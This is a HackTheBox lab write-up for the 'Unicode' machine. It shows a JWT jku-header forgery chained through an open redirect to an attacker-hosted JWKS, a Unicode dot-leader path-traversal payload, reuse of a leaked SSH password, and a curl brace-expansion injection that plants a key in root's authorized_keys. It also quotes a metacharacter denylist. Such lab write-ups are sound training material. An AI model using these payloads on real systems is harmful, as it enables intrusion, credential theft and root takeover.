HTB: Unicode Writeup
Unicode - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Unicode |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.x |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Unicode is a Linux medium built around a custom “HackMedia” web app that signs its session JWTs against a self-hosted JWKS file. Chaining a jku header trust flaw with an open redirect lets an attacker mint an admin token from scratch. From the admin dashboard, a heavily filtered LFI endpoint turns out to normalize a Unicode “two-dot-leader” character back into a literal .., giving arbitrary file read and a set of MySQL credentials that get reused as an SSH login. Root is a PyInstaller-compiled sudo binary whose curl wrapper blocks the usual shell metacharacters but forgets {, }, and , — exactly what’s needed for a bash brace-expansion bypass.
TL;DR: Register account → forge admin JWT via jku header + open-redirect-hosted JWKS → admin dashboard → Unicode dot-leader (‥) LFI bypass reads db.yaml → password reuse over SSH as code → sudo /usr/bin/treport (PyInstaller) → decompile → brace-expansion bypass of the curl input filter → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.xResults:
22/tcp— OpenSSH80/tcp— nginx/1.18 — vhosthackmedia.htb
The nginx vhost was added to /etc/hosts:
echo "10.10.11.x hackmedia.htb" | sudo tee -a /etc/hostsService Enumeration
hackmedia.htb is a “threat report” style portal with registration/login. After registering an account (pwner123), the app issues an auth cookie that decodes as a JWT. The JWT header carries a kid and references a JWKS file served at /static/jwks.json — meaning the server validates the token signature against a public key it fetches/serves itself rather than a hardcoded key. That’s the first flag: whoever controls what JWKS the server trusts, controls what identity claims it will accept.
Vulnerability Assessment
Two more findings completed the picture before any exploitation:
- An open-redirect parameter on the site (
/redirect/?url=) that will happily bounce the server to an attacker-controlled URL. - Once authenticated, a
/display/?page=parameter that smelled like LFI but rejected any request containing../.
Initial Foothold
Exploitation Path
Step 1 — Forge an admin JWT via jku header injection (CWE-347: Improper Verification of Cryptographic Signature)
The JOSE/JWS spec allows a jku (JWK Set URL) header claim telling the verifier where to fetch the public key used to check the signature. If the server doesn’t pin jku to a trusted host, an attacker can point it anywhere — including at their own key set — and self-sign whatever claims they like. Here the server’s own JWKS lived under /static/, and the site’s open redirect could be reached by path-traversing out of that static route:
/static/../redirect/?url=10.10.15.180:8000/jwks.jsonThat path resolves server-side back to /redirect/?url=..., which the app then follows to fetch the “trusted” JWKS from my box on tun0 (10.10.15.180) instead of its own /static/jwks.json.
I generated a local RSA keypair and JWKS with kid: hackthebox matching a forged token header, served it with a simple HTTP listener, and rebuilt the auth cookie:
# serve a forged jwks.json on tun0 so the app's jku fetch lands on uspython3 -m http.server 8000# forge_jwt.py — mint an RS256 token whose signature we control end-to-endimport jwt, json
private_key = open("attacker_rsa").read()
header = { "typ": "JWT", "alg": "RS256", "kid": "hackthebox", "jku": "http://hackmedia.htb/static/../redirect/?url=10.10.15.180:8000/jwks.json" # MUST be last}payload = {"user": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)print(token)Key gotcha discovered live: the server doesn’t parse the JWT header as real JSON when extracting jku — it string-matches on jku: and reads everything after it to the end of the header. If jku isn’t the last key in the header object, whatever follows it (,"kid":"hackthebox","typ":"JWT") gets appended onto the URL and the fetch 404s. Reordering the header so jku is last fixed it, and the forged token verified with {"user":"admin"}.
Swapping this cookie into the browser session dropped me straight into the admin dashboard.
Step 2 — Unicode normalization LFI bypass (CWE-22: Path Traversal)
The admin dashboard’s /display/?page= parameter powers a report viewer and rejects any request containing a literal ../. Standard traversal encodings (URL-encoding, double-encoding, ..;/, etc.) all hit the same filter. The server, however, applies Unicode normalization to the page value — and does it after the traversal check rather than before, a classic validate-then-canonicalize ordering bug. Feeding it the U+2025 “two-dot leader” character (‥, visually two dots as a single codepoint) sails past the literal ../ filter, and the server’s normalization step folds it right back into an ordinary ..:
http://hackmedia.htb/display/?page=‥/‥/‥/‥/‥/‥/‥/home/code/coder/db.yamlThat read /home/code/coder/db.yaml, which contained the app’s MySQL credential set — including a password:
B3stC0d3r2021@@!Step 3 — Password reuse to SSH
The credential belonged to a real system account, code (already implied by the home directory path). Password reuse against SSH landed a shell directly:
ssh code@10.10.11.x# password: B3stC0d3r2021@@!user.txt read from code’s home directory.
Privilege Escalation
sudo -ltreport is a standalone PyInstaller-compiled binary (custom “threat report” management tool), runnable as root with no password. PyInstaller bundles a frozen Python interpreter plus a .pyc of the app — recoverable back to near-original source:
# pull the binary to a local box for offline reversingscp code@10.10.11.x:/usr/bin/treport .
# unpack the PyInstaller archive to get at the .pycpython3 pyinstxtractor.py treport
# decompile the recovered .pyc back to Python sourceuncompyle6 treport_extracted/treport.pyc > treport_source.pyReviewing the recovered download() function showed a denylist-based filter guarding an argument that gets concatenated straight into a shell command:
# recovered from treport's download() routinecommand_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']ip = input('Enter the IP/file_name:')if re.search(r'\s', ip): print('INVALID IP'); sys.exit(0)if 'file' in ip or 'gopher' in ip or 'mysql' in ip: print('INVALID URL'); sys.exit(0)for vars in command_injection_list: if vars in ip: print('NOT ALLOWED'); sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'os.system(cmd)The blocklist covers most shell metacharacters and blocks whitespace outright with \s — but never blocks {, }, or ,. That’s a well-known bash argument-injection gap (CWE-88): {a,b} brace-expands into two space-separated tokens (a b) after bash parses the command line, i.e. after the Python-side whitespace check has already passed on the raw string. This lets an attacker smuggle effective spaces — and therefore extra curl arguments — through a filter that only inspects the string before bash ever sees it.
Using that gap I built a brace-expansion payload against the treport sudo invocation to redirect curl’s output into /root/.ssh/authorized_keys, planting my SSH public key on disk for root:
sudo /usr/bin/treport# input crafted with {ip,-o,/root/.ssh/authorized_keys}-style brace expansion,# forcing curl to fetch my pubkey and write it as root's authorized_keys# with the key in place, authenticate directly as rootssh -i attacker_key root@10.10.11.xroot.txt read from /root/.
Attack Chain Summary
Register account → decode session JWT → identify server-hosted jwks.json + open redirect → forge RS256 admin JWT via jku header pointed at attacker-hosted JWKS (through the redirect) → admin dashboard → /display/?page= LFI blocked on literal "../" → bypass with Unicode two-dot-leader (‥), server normalizes it back to ".." → read /home/code/coder/db.yaml → MySQL password → password reuse over SSH as code → user.txt → sudo -l: /usr/bin/treport (NOPASSWD, PyInstaller binary) → pyinstxtractor + uncompyle6 recover source → curl-wrapper filter misses { } , → brace-expansion argument injection → write SSH key to /root/.ssh/authorized_keys → ssh as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
| Browser / cookie editor | Inspecting and swapping the JWT session cookie |
PyJWT (custom forge script) | Crafting the RS256 admin JWT with a manipulated jku header |
python3 -m http.server | Serving the attacker-controlled jwks.json on tun0 |
ssh | Password-reuse login as code; final root login via planted key |
pyinstxtractor | Unpacking the PyInstaller treport binary |
uncompyle6 | Decompiling the recovered .pyc back to Python source |
curl (target-side, hijacked) | Vehicle for the brace-expansion root escalation |
Key Learnings
Techniques Practiced
- JWT
jkuheader trust abuse to self-sign arbitrary claims - Chaining an open redirect to smuggle a server-side fetch to attacker infrastructure
- Unicode normalization bypasses against naive string-based path-traversal filters
- Reversing a PyInstaller-frozen Python binary back to source (
pyinstxtractor+uncompyle6) - Bash brace-expansion as a whitespace/argument-injection filter bypass in a
sudobinary
Lessons Learned
- Never trust a client-suppliable
jku/jwkheader — pin signature verification to a fixed, server-side key, not a URL the token itself can point anywhere. - Open redirects are not “low severity, cosmetic” findings — here one was the pivot that let a forged JWKS fetch escape the app’s own trusted static path.
- Input sanitization must happen after canonicalization, not before — filtering for
../and then normalizing Unicode afterward reintroduces exactly the traversal you tried to block. - Denylist-based shell filters are fragile: blocking
$,`,;,&,|, and whitespace still left{,}, and,open, which is enough for bash to reconstruct spaces and multi-argument commands the filter never saw. - PyInstaller is not a security boundary — any frozen Python binary handed to a lower-privileged sudoer can be extracted and decompiled back to near-original source.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- TheCyberGeek & amra, “Unicode” — official HackTheBox writeup (Document No. D22.100.169), Machine Author: wh0am1root. Used here only for conceptual grounding on the
jku/open-redirect chain, the Unicode dot-leader normalization bypass, and the PyInstaller reversing/brace-expansion technique — all specific values above (IP, cookie tokens, credentials, timestamps) are from this run’s own solve, not the reference.